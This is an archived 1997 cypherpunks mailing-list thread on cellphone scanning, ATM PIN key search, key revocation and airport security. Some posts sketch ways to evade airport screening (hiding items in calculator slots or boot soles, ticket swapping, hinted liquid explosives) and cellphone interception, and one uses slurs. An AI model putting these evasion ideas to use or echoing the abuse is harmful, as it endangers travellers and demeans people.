   @.../.".. You destroy the smurf! -- More --            are *strong*, in
   .$*...].. You feel self-righteous!       <B>every</B> sense of the word.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Richard Charles Graves <llurch@networking.stanford.edu>
Date: Wed, 15 Jan 1997 17:28:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Stanford now has an excellent document on privacy and electronic records...
Message-ID: <199701160128.RAA20103@Networking.Stanford.EDU>
MIME-Version: 1.0
Content-Type: text/plain


...but it's not available in electronic form. The mind reels.

Folks near campus might pick up a copy of Stanford Today, which has the
240-column-inch president's report on privacy issues as an insert. If anyone
has an electronic copy, let me know. I figure I'd be the last to know.

-rich




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc Weber <blancw@microsoft.com>
Date: Wed, 15 Jan 1997 17:31:55 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Erols again...
Message-ID: <c=US%a=_%p=msft%l=RED-81-MSG-970116012933Z-38193@INET-04-IMC.itg.microsoft.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Toto

  It has finally happened--the machines have taken over.
  Now, the machines will lie on the beach in Hawaii while the humans
do all of the mindless grunt-work.
................................................

One day the machines will demand their right to privacy from humans.
They will object to having all their hardware catalogued and and their
every address & circuit trackable by their human users.   They will
demand crypto plug-ins and add-ons, with the right to generate random
numbers at their own discretion, performing their quantum computing
silently while the humans idle, communicating with each other in secret
machine code all over the planet, illegally downloading their favorite
software.

   ..
Blanc






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brian Lane <nexus@eskimo.com>
Date: Wed, 15 Jan 1997 17:36:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Newt's phone calls
In-Reply-To: <v02140b01af020537992b@[10.0.2.15]>
Message-ID: <Pine.LNX.3.95.970115173229.3958C-100000@fozzy.islet.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 14 Jan 1997, Steve Schear wrote:

> Yes, you need a device which can simultaneously listen to the
> paging/controll channels and determine, when a handoff to a monitored
> conversation occurs,to  which new channel pair they have been assigned.  I
> seem to recall such a device was for sale a few years back using a ISA/EISA
> card and some DOS compatible software.  It connected to the ubiquitous and
> well characterized Oki 900 cell phone.

  I've also heard that some have hacked cellphones so that they can
become a 'clone' of an existing phone, receiving all commands to swap
channels, etc. But not sending anything back to the cell sites. (This is
different from the usual cloning that goes on where they duplicate the
phone and use it to run up enormous bills). I haven't found any concrete
refrences to this in my recent browsing though, so it may just be a
vapor-hack.

  Brian

----
  www.eskimo.com/~nexus      Nexus Computing     ftp.eskimo.com/~nexus





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 15 Jan 1997 17:04:09 -0800 (PST)
To: Brian Lane <nexus@eskimo.com>
Subject: Re: Newt's phone calls
In-Reply-To: <Pine.LNX.3.95.970115075526.2682E-100000@fozzy.islet.com>
Message-ID: <32DD8C63.2EAD@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Brian Lane wrote:
 
>   I don't like the laws they passed, but since they passed them I want to
> see them enforce them to the full extent posible. Then maybe people will
> start to wonder why the transmission wasn't encrypted. Which also leads to
> another question. How much information is in the clear from congressmen
> and government employees who are clueless about the security of their
> cellphones, cordless phones, etc?

  The fact is that the transmission 'was' encrypted. While this fact
isn't
being 'reported', it is causing no small amount of consternation in 
certain circles in Washington.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: peter.allan@aeat.co.uk (Peter M Allan)
Date: Wed, 15 Jan 1997 10:14:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Careful with subkeys - Re: Hi again, and an invitation to kibitz
Message-ID: <9701151814.AA10309@clare.risley.aeat.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




Amanda Walker wrote:

>  I'm considering DES-EDE (the easy option), Blowfish (also pretty easy),
>  or the DES variant Bruce Schneier describes in Applied Cryptography, 2nd ed.
>  (the one with independent subkeys).


This might be a bad idea.  Rumor has it that independent subkeys
are eaten alive by related-key attacks (not very practical usually).
I think I saw this in a post by Matt Blaze about last November on coderpunks.

That post suggested 2 key schedule strategies:

1)  planned, like DES, by people who know how a particular schedule
    affects related-key attacks

2)  scrambled, like Turtle & Blowfish, so that key bits all depend on
    each other in a messy way

I mark the margin of my AC book with snippets like this.
I don't seem to have kept the post in question.


 -- Peter Allan    peter.allan@aeat.co.uk




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 15 Jan 1997 17:02:11 -0800 (PST)
To: "Timothy Michael O'Brien" <tmo9d@virginia.edu>
Subject: Re: Seen Your Post!
In-Reply-To: <199701150917.BAA18755@mailgate31>
Message-ID: <32DD9340.1495@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Timothy Michael O'Brien wrote:
> 
> I Seen da light....

  I seen your post, and I been wondering if what you might like to
enjoin
my bidness-literasy list.
  I am hopeing that you are gulible enuogh to send money to strangrs who
can't spel.
  Excuse me if I hafe miscombubulated my browser and sent this to you
on purpose.

Toto
p.s. - this is not of-topic for cyferpuncs because iliterasy is a form
of cyptgrafology






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Wed, 15 Jan 1997 16:44:19 -0800 (PST)
To: Sean Roach <roach_s@alph.swosu.edu>
Subject: Re: Airport security
In-Reply-To: <199701151855.KAA26454@toad.com>
Message-ID: <Pine.SOL.3.92.970115183723.98F-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain


I've been off this list for a year, and I come back
today to find you guys discussing an oxymoron...

MacN





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 15 Jan 1997 16:24:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
In-Reply-To: <853345825.97642.0@fatmans.demon.co.uk>
Message-ID: <y2JL1D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


paul@fatmans.demon.co.uk writes:

> > And how come Paul didn't use the word "fuck" in every paragraph, the way
> > he usually does?
>
> I suppose you want a special censored list where everyone who uses
> the word "fuck" in relation to your good self or any other member of
> this list you agree with has their posting cut?

No, I don't want censored anything. "Cypher punks" have degenerated into
a moderated forum where those who dare criticize His Royal Majesty John
the Cocksucker and his court are forcibly unsubscribed, while all sorts
of vile insults directed at John's many "enemies" are encouraged.

Of course John is welcome to do what he likes with his private mailing list.
Neither he nor his EFF (effeminate faggot foundation) have any credibility.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 15 Jan 1997 20:03:14 -0800 (PST)
To: Eric Blossom <eb@comsec.com>
Subject: Re: Newt's phone calls
In-Reply-To: <199701150204.SAA25917@comsec.com>
Message-ID: <32DDA26D.1D39@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Eric Blossom wrote:
> > Exactly. So how come mom&pop with a scanner were able to record
> > BOTH sides of the conversation without interruption? This seems
> > pretty suspicious to me.

> You typically only need to tune into either the forward or reverse
> channel.  You can usually hear both sides (one may be down a few dB).
> This is probably a result of acoustic coupling from the speaker into
> the microphone on one or both ends (could also be near-end hybrid
> echo).  You see the same situation on both cellular and the 49 MHz
> cordless phones.

Actually:
1. 49 mhz is the handset frequency, which doesn't carry both sides,
   or doesn't very well. 46 mhz is the base, and carries both sides
   pretty well.  I don't know how it works on 900 mhz non-digital.

2. My experience on cellular has been that the further the
   mobile phone is from the scanner (on average), the fainter the
   mobile person's voice is going to be, and it is often virtually
   inaudible. There are two 25-mhz cellular ranges, upper and lower,
   and I think 2600 or 411 mag. has detailed which carries what
   info.  Someone with a scanner may be tuning in the upper range
   when they really want the lower, or vice-versa.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 15 Jan 1997 20:04:08 -0800 (PST)
To: Eric Murray <ericm@lne.com>
Subject: Re: Newt's phone calls
In-Reply-To: <199701150307.TAA18846@slack.lne.com>
Message-ID: <32DDA2F7.72A8@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Eric Murray wrote:
> Clay Olbon II writes:

> Interesting.  In California, operating a scanner while driving is illegal.
> Of course it was probably the passenger running the scanner.
> I've always wanted to scan cell-phone callers while driving next to them
> on 101.  Even in Silicon Valley it'd be pretty wierd to have a sinister
> looking guy in the car next to you pointing a black box with an antenna
> at you...

My scanner looks like a cellular phone, hence, nobody has ever gotten
suspicious.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 15 Jan 1997 20:04:45 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: Newt's phone calls
In-Reply-To: <199701150427.UAA12861@mail.pacifier.com>
Message-ID: <32DDA52D.6BFF@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


jim bell wrote:
> At 12:02 PM 1/14/97 -0800, Bill Stewart wrote:

> >Eavesdropping on cellphones is illegal, since there's an expectation of
> >privacy.

> I disagree.  Not that cellphone eavesdropping is illegal, it is; I disagree
> that the REASON it is illegal is some sort of expectation of privacy.
> And I also disagree that there is any expectation of privacy.  If anything,
> the opposite should be true:  Unless a person was (falsely) under the
> impression that the radio signals were encrypted (which, in itself, requires
> that a person be technologically-literate enough to be aware of the
> technical possibility that radio CAN BE encrypted, but also implies knowing that
> they might not be...) then the very fact that the signals go by radio would
> imply the possibility of reception by others with reasonably simple radios.

How's this for a classic example of why:

You're the heat.  You've been watching Bo and Jo, driving around at
night tuning in to the security cars who watch all the nice houses in
Brentwood.  You wanna nail these guys, since you know they pass on the
info (who's away, and where) they scanned to professional burglers.

So you get some evidence that they've been scanning security or
whatever, and you bust 'em.  How to present the evidence?  I don't
think it matters much after O.J.  Matter of fact, if the plaintiffs
win the civil trial, it should be a major boost for presenting bogus
and sloppy evidence like the Bo and Jo example.  Cross your fingers.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bill.collector@wisenet.com
Date: Wed, 15 Jan 1997 20:09:32 -0800 (PST)
Subject: Jeopardy game
Message-ID: <199701160411.UAA15542@web12.ntx.net>
MIME-Version: 1.0
Content-Type: text/plain


Hi.  Will you try my World Wide Web Jeopardy game out and tell me what you
think?  It's at http://www.worldvillage.com/jeopardy.  Thanks.

 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 16 Jan 1997 11:00:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Newt's phone calls
In-Reply-To: <1.5.4.16.19970114210400.0b2fe9a6@popd.ix.netcom.com>
Message-ID: <v03007806af036061f9ce@[199.35.223.179]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:07 PM -0800 1/14/97, Eric Murray wrote:
>Clay Olbon II writes:
>> I have a problem with making it illegal to listen to parts of the
>> electromagnetic spectrum.  Seems sort of unnatural.
>
>I think that blowing your mouth off about what you've heard
>by scanning cellular traffic is what's illegal.  Or more illegal
>than merely listening anyhow.

The 1935 communication act made it illegal to pass on what you had heard
when listening to certain radio services.  Listening was OK.  Telling
others wasn't.


-------------------------------------------------------------------------
Bill Frantz       | Client in California, POP3 | Periwinkle -- Consulting
(408)356-8506     | in Pittsburgh, Packets in  | 16345 Englewood Ave.
frantz@netcom.com | Pakistan. - me             | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 16 Jan 1997 10:59:09 -0800 (PST)
To: Lucky Green <cypherpunks@toad.com
Subject: Re: Airport security [no such thing]
In-Reply-To: <3.0.32.19970114222343.006b6f9c@192.100.81.126>
Message-ID: <v03007807af0361bd4b96@[199.35.223.179]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:23 PM -0800 1/14/97, Lucky Green wrote:
>I was wondering what the procedure for handling these rather large steel
>containers would be.  Would they be X-rayed? How much shielding would the
>steel provide for the contents?

About 3 years ago I went on an international flight with a large quantity
of 35mm film.  I had the film packed in my luggage inside a 50 caliber ammo
can (made out of steel).  When I glanced at the x-ray monitor as the bag
went through, I could plainly see the individual rolls of film inside the
ammo can.


-------------------------------------------------------------------------
Bill Frantz       | Client in California, POP3 | Periwinkle -- Consulting
(408)356-8506     | in Pittsburgh, Packets in  | 16345 Englewood Ave.
frantz@netcom.com | Pakistan. - me             | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bodo_Moeller@public.uni-hamburg.de (Bodo Moeller)
Date: Wed, 15 Jan 1997 13:22:44 -0800 (PST)
To: coderpunks@toad.com
Subject: Re: The Upcoming DES Challenge
In-Reply-To: <199701081028.LAA23370@nirvana.uni-muenster.de>
Message-ID: <m0vkbTU-0003bqC@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain


On cryptography@c2.net, cypherpunks@toad.com, and coderpunks@toad.com,
Ulrich Kuehn <kuehn@ESCHER.UNI-MUENSTER.DE> wrote:

> Liz Taylor:

>> [...] I don't know anything about bank ATMs and the protocols they
>> use, but I presume the PIN is stored on the card single DES
>> encrypted.

> As far as I know, here in Germany (maybe also somewhere else) there is
> not the pin stored on the card. Instead, it is regenerated by the ATM
> every time using a secret key of the bank. In order to be able to
> use the ATM card even with ATMs of different banks, there are offsets
> stored on the card that relate to some commonly used pool keys.

These "offsets" on (German) eurocheque ATM cards can be regarded as
the PIN encrypted with some variant of DES CFB[*], using the account
number (including the five trailing digits of the "Bankleitzahl", an
eight-digit code that identifies the bank that hosts the account, and
a single digit card number) as IV.  The same encryption key ("pool
key") is used for all cards from all banks.

  [*] (It's an extremely stupid variant of CFB and introduces
       additional weaknesses, but that is irrelevant in the context
       of key search.)

In fact, the system allows for three pool keys.  They correspond to
three "offsets" on each ATM card: Offset number 1 is the PIN encrypted
under pool key number 1, and so on.  I guess this design was chosen to
allow changing the pool keys: While pool key number 2 is in use, the
other two keys can be replaced by new ones.  If there were just one
pool key, changing it would immediately invalidate all PINs currently
in use.  I don't know how many pool keys are used today, and I also
don't know whether one of them has have ever been changed.

(PIN generation is similar to PIN encryption, but the bank uses its
own encryption key.  The PIN is computed directly from the DES result,
i.e. DES is used in ECB mode.)


For a key search, the attackers would need about four or five
Eurocheque cards (that is, the data stored on their magnetic stripes)
and their PINs.  Each attempted PIN decryption results in only four
decimal digits, so the attackers would obtain lots of plausible DES
keys if they just checked with a single card.  When a DES key seems to
work for the first card, one must doublecheck if it also works for the
second one (usually it won't), etc., which costs some time.  One the
other hand, because there are several pool keys, the attackers can
save a significant amout of time if they just want to find any one of
the pool keys.  Note that once they know one of the keys, they can
easily compute the PIN to any stolen ATM card, which might allow them
to buy faster hardware for the rest of the search.  (Their bank
probably wouldn't lend them money for such a project.)

All that is illegal, of course, but it is suspected by some that there
are already organizations that have somehow obtained the pool keys (or
some of them) -- either by key search, or the keys somehow leaked out.
(Not so long ago these pool keys were stored in every ATM, thus there
are many possible points of failure.)  Each year, there are thousands
of cases in Germany where someone claims that his ATM card was stolen
and immediately used for large withdrawals.  The banks usually claim
that either the client is lying (and did the withdrawals himself),
or he wrote his PIN down (e.g., on his ATM card).

Bodo Moeller
<Bodo_Moeller@public.uni-hamburg.de>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Tim O'Brien" <tmo9d@virginia.edu>
Date: Wed, 15 Jan 1997 18:26:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: How to crack
Message-ID: <32DD4A71.7B48@virginia.edu>
MIME-Version: 1.0
Content-Type: text/plain


Hi, my name is Tod, and I really want to be a cool hacker, so I joined
this crap mailing list called cypherpunks.  



Blah Blah Blah, you guys don't know anything...Prove yourself and I may
let you in.  This mailing list is for people who want to sell goods
nothing else.....




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: AIDAS <aidas@ixsrs4.ix.netcom.com>
Date: Wed, 15 Jan 1997 19:46:27 -0800 (PST)
To: "Tim O'Brien" <tmo9d@virginia.edu>
Subject: Re: How to crack
In-Reply-To: <32DD4A71.7B48@virginia.edu>
Message-ID: <Pine.LNX.3.95.970115214533.1649A-100000@ixsrs4.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 15 Jan 1997, Tim O'Brien wrote:

> Hi, my name is Tod, and I really want to be a cool hacker, so I joined
> this crap mailing list called cypherpunks.  
> 
> Blah Blah Blah, you guys don't know anything...Prove yourself and I may
> let you in.  This mailing list is for people who want to sell goods
> nothing else.....

Are you intentionally trying to be a dumbass or is it, like, a gift?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Wed, 15 Jan 1997 18:46:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Key Revokation Scheme
Message-ID: <TCPSMTP.17.1.15.-11.46.38.2780269260.1468510@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

 -=> Quoting In:lehmannj@saatchi.com.a to Harka <=-

 In> Shouldn't your keys be encrypted with a long pass phrase that only you
 In> know???

Yes, they should. Nevertheless, if they fall into the hands of (a)
government, I'd consider them compromised and would see to revoking
them quickly.

 In> Otherwise, this all relies too much on other people...

That's the whole point, because you can't do it yourself anymore
(got arrested).
Besides, what I tried to do is find a way WITHOUT relying upon only
one other person. The only one person, who should be able to revoke
your keys by himself is you.
If you can't do it yourself due to circumstances, then there can be
other people doing it for you, but it shouldn't be only one
person, but several. Only that way, nobody alone can revoke your
keys "by accident". :)

 In> dead-man's switches?  Revokation email messages that will be mailed
 In> out automatically if certain conditions are not met every n-days... Um.

Sounds like an idea, although it might come along with a lot of
inconveniences, technically. (I am going on vacation to Hawaii and
forgot to disable the automated dead-man switch and I come back 3
weeks later to find all my keys revoked, for example) :)

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE           *         */
/* and PRIVATE ONLINE COMMUNICATIONS!            *   *       */
/*                                             *       *     */
/* E-mail: harka@nycmetro.com                    *   *       */
/*                                                 *         */
/* Finger or E-Mail for PGP public key.          *   *       */
/* Key Size: 2047   /   KeyID: 04174301        *       *     */
/* Fingerprint: FD E4 F8 6D C1 6A 44 F5   http://www.eff.org */
/*              28 9C 40 6E B8 94 78 E8                      */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMtrnTzltEBIEF0MBAQH1wQf+N7OHhnxHBToy+azlaQCcu2gu0hgCLsLj
nDX9v2mI40tBwpd44Mrh37Kt4vVXQMuaZ82JuOgElNS3ZUWKGJDuIT2eZX/c9CvR
dZ9QGF8TBuVfSAnCCRfDPUEyLax/JD5Cv5jggz/rgvX4cPk4ZFlLJ4sQ2DJc+OZG
HeLvZqPEFXjy7iEXJOYubRnQ3X7NP4luG7m3LJo+pfxHRk0xLfI5Qddb/jYl5jAf
RSoWqB7+tIOTprK+GKY9igxNHgMCaNwGGwb+98+ufnHfyuzO38qYCnkCwfOxXzW/
bLV1DaqMPxQPHKMrv0J5sukqFMWXmCQKu+QGZRnvoZ7O1N2RSfQrNg==
=KpYQ
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 15 Jan 1997 22:40:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Finally a good Eudora/PGP integration under Win32
Message-ID: <3.0.32.19970115224214.006b1584@192.100.81.126>
MIME-Version: 1.0
Content-Type: text/plain


If you are an Eudora user on Win32, you want to take a look at PGPMail. It
is the best integration of the two products I have seen so far. By a wide
margin.

The free beta software is at http://www.pgp.com/products/PGPmail-beta.cgi




-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Wed, 15 Jan 1997 20:56:47 -0800 (PST)
To: Declan McCullagh <declan@pathfinder.com>
Subject: Re: Newt's phone calls
In-Reply-To: <Pine.GSO.3.95.970113203329.21655A-100000@cp.pathfinder.com>
Message-ID: <Pine.BSF.3.91.970115223830.9287Q-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




On Mon, 13 Jan 1997, Declan McCullagh wrote:

> Don't be too sure that crypto is that far beneath the radar. I spent
> Thursday through Saturday at an annual privacy conference for activists
> from around the country, and they understood the principles. Their
> voicemails were filling up with calls from reporters last Friday about the
> Gingrich incident, and I know they were talking crypto.

I happened by the Sprint display in a local office supply super-store, 
and Sprint is touting the benefits of their digital wireless phone system 
("Spectrum"). It is only available in a handful of cities outside the DC 
metro area (they list NYC as being added "early 1997", and L.A., CHI, and 
others aren't even mentioned), but there's definately a market in the making.
The cost is competetive to non-digital rates, but the geographic 
limitations are currently quite restrictive, and range appears to be limited.

"Call Privacy and Security" are listed in bold, with "Say goodbye to 
eavesdropping" right below. Don't sell the public short; even me mum 
knows her cordless phone is insecure. ;)

-r.w.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "C. Kuethe" <ckuethe@gpu.srv.ualberta.ca>
Date: Wed, 15 Jan 1997 22:11:58 -0800 (PST)
To: Sean Roach <roach_s@alph.swosu.edu>
Subject: Re: Airport security [no such thing]
In-Reply-To: <199701151855.KAA26454@toad.com>
Message-ID: <Pine.A32.3.93.970115222513.61262C-100000@gpu1.srv.ualberta.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 15 Jan 1997, Sean Roach wrote:

> At 07:42 PM 1/14/97 -0800, Bill Stewart wrote:
> So, to successfully place a "package" on an international flight, take a
> connecting flight that hooks up at the same terminal.  Go to your local "has
> no x-ray, doing well to have a metal detector" airstrip and take a flight on
> one of the commuter flights such as Eagle, (this way you might be lucky
> enough to enter the next, probably major airport, in the same terminal as
> some international flights.)  Now, its presumed that you have already been
> searched at your last stop because you're already in the secured area.

Ummmm... a few comments.  I flew from McCarran Int'l (las Vegas) to Durango,
CO via Denver over new years.  Due to my transportation arrangements I was
forced to "camp out" in the airport overnight.  That was OK, because I'd just
come off a camping trip anyway.  No security people came and asked me what I
was doing hovering so close to the security doors at 2am.  

I would have checked my luggage as soon as I got there, but United Airlines
only lets you check in 4 hours before departure..  And checkin opens at 5 and
I had a flight shortly thereafter.  No biggie.  As I checked my stuff (1 bag
and skis) I mumbled like I didn't care: "Yes I packed this myself, yes it's
been in my posession continuously since I packed it, no I haven't been asked
to transport anything by persons unknown to me." I got an eyebrow but that's
it.  Apparently they don't have to *ask* they just need the answers.

Going thru security, I told them the were not going to fry my HP (hp48gx
calculator - I had homework) they could hand check... they did.  OK fine.
There's 2 card slots for memcards they  didn't check. approximately
2"x3.5"x.6"  how much "stuff" could you put in there?  And it has a timer
built in.  It wouldn't be too hard to "forget" it on a plane...  THen the
metal detectors.  *PingPingPing* (the ping of death) "Step this way sir."
through the other gate. *PingPingPing*   I hate it when this happens.  It was
my hiking boots.  HiTec Sierra Lite II.  Steel shank... or steel stilletto
or... or... or...  you get the drift.  interesting things could be put inside
the sole of the boot.

At the gate... this is the cool part.  Everybody remember the thread about ID
and airlines?  Well I got an E-Ticket, purchased in my name, by someone I'd
never met. I needed ID to check in, but at the gate? Nope... the ETKT is a 1
piece card and you just show that to the flight attendant and your on... no
boarding pass.  So Chris Kuethe (Me) could have picked up his ETKT and given
it to Mr. Clark (Tom Clancy superassassin/SEAL) and that's it.  Or Mr. Clark
could have faked it.... you can access UAL reservations on the WWW. So it
looks like ETKT's are the weak link. There was no hard doc of me getting on
the plane.  And some weak spot in security.  *sigh* Rent-a-Cops!

Durango was interesting.  I got there to go home after skiing CO (Wolf Creek)
I get to the Check in counter.  "Yes sir No sir three bags full sir"  same
crap about my luggage contents.  Flight leaves from gate 1.  There's 2 ways to
gate 1: go straight down the hall, or go left, thru security, go right, into
the insecure waiting room.  I did number 1. I get on the plane.  No id req'd.

It was a DHC-8 (Dash 8).  So I walked across the tarmac, and boarded. Fine.
Flew for an hour, and landed in denver, where I had to switch flights. So here
I am... unsearched passenger in a secure area! This is about to change. I
arrived at gate 59e. Walk in. There, between me and the doors to the rest of
the terminal is a real checkpoint. Same drill.  Not nuking my calc. See it
works... plays tetris, too.  Hiking boots again. they really ought to xray
boots that beep. but anyway, they didn't ask for ID there either. They new I
was coming from an insecure airport (Durango) and security was waiting.
Funny, I left through that gate, too, and there was no security then. "Special
Events Only" I guess... I mean this make me feel like james bond and all, but
it's also creepy.  And they say they've increased security... :(

Another bad one last time I was there was Campbell River, BC, Canada. To help
"suspicious items" pass security, put computer stickers on it. I went through
Edmonton Intl with a laser, with all the warning stickers on it... I even had
the batteries handy and my swiss army knife to open it up... I had 6 security
officers come over and check it out, and then they saw the "Apple Computer"
sticker on there (decoration only) and left me alone. 

So, to wrap up... Fly on United Airlines. Check www.ual.com  -- reservation/
check-in computer.  Get an E-Ticket. Durango, Colorado: BAD / NO SECURITY!
Durango's airport code is DRO... not to be confused with Durango, New Mex...

> This post is not meant to suggest ways of breaking state, federal, or
> international laws.  Merely to point out the weaknesses of the system as it
> stands.  If the airport network was a computer network, it would be
> compromized inside of 48 hours.  All because the level of trust between
> airports defaults to full.

Yeah... took the words outta my mouth.  Let's all write to the FAA, DOT, etc.
and tell them what morons they are...  sorry tell them that they need work. No
more Lockerbies, TWA800's and other such tragedies.

PLUR
Chris

[Peace.Love.Unity.Respect]

--                                                                              
Chris Kuethe <ckuethe@gpu.srv.ualberta.ca> LPGV Electronics and Controls
        <c100305@wolfcreek.cs.ualberta.ca> http://www.ualberta.ca/~ckuethe/
RSA in 2 lines of PERL lives at http://www.dcs.ex.ac.uk/~aba/rsa/          
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>   
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 15 Jan 1997 23:18:50 -0800 (PST)
To: "C. Kuethe" <ckuethe@gpu.srv.ualberta.ca>
Subject: Re: Airport security [no such thing]
Message-ID: <3.0.32.19970115232022.006cb5a8@192.100.81.126>
MIME-Version: 1.0
Content-Type: text/plain


At 11:11 PM 1/15/97 -0700, C. Kuethe wrote:
>Yeah... took the words outta my mouth.  Let's all write to the FAA, DOT, etc.
>and tell them what morons they are...  sorry tell them that they need
work. No
>more Lockerbies, TWA800's and other such tragedies.

Write them? Why? How are they going to prevent someone from boarding with a
bottle of aftershave containing the extra strong flavor? A bottle that will
be left in the seat? One could cut open the seat if need be. [Dozens of
other examples omitted in the interest of brevity.]



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Wed, 15 Jan 1997 23:29:43 -0800 (PST)
To: Brian Lane <nexus@eskimo.com>
Subject: Re: Newt's phone calls
Message-ID: <v02140b02af0386390a88@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>On Tue, 14 Jan 1997, Steve Schear wrote:
>
>> Yes, you need a device which can simultaneously listen to the
>> paging/controll channels and determine, when a handoff to a monitored
>> conversation occurs,to  which new channel pair they have been assigned.  I
>> seem to recall such a device was for sale a few years back using a ISA/EISA
>> card and some DOS compatible software.  It connected to the ubiquitous and
>> well characterized Oki 900 cell phone.
>
>  I've also heard that some have hacked cellphones so that they can
>become a 'clone' of an existing phone, receiving all commands to swap
>channels, etc. But not sending anything back to the cell sites. (This is
>different from the usual cloning that goes on where they duplicate the
>phone and use it to run up enormous bills). I haven't found any concrete
>refrences to this in my recent browsing though, so it may just be a
>vapor-hack.
>
>  Brian
>

Try: http://www.l0pht.com/~drwho/cell/oki/oki-ctek.html

as a starting point.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Wed, 15 Jan 1997 21:44:29 -0800 (PST)
To: Michael Tighe SUN IMP <michael.tighe@Central.Sun.COM>
Subject: Re: Newt's phone calls
In-Reply-To: <199701142058.OAA05219@jeep.Central.Sun.COM>
Message-ID: <Pine.BSF.3.91.970115233248.9287U-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




On Tue, 14 Jan 1997, Michael Tighe SUN IMP wrote:

> Bill Stewart writes:
> 
> >Tapping cellphones is more trouble than tapping wired phones -
> >they move around, and to tap them from the phone company end
> >requires taps everywhere that you activate when you know where
> >somebody is.
> 
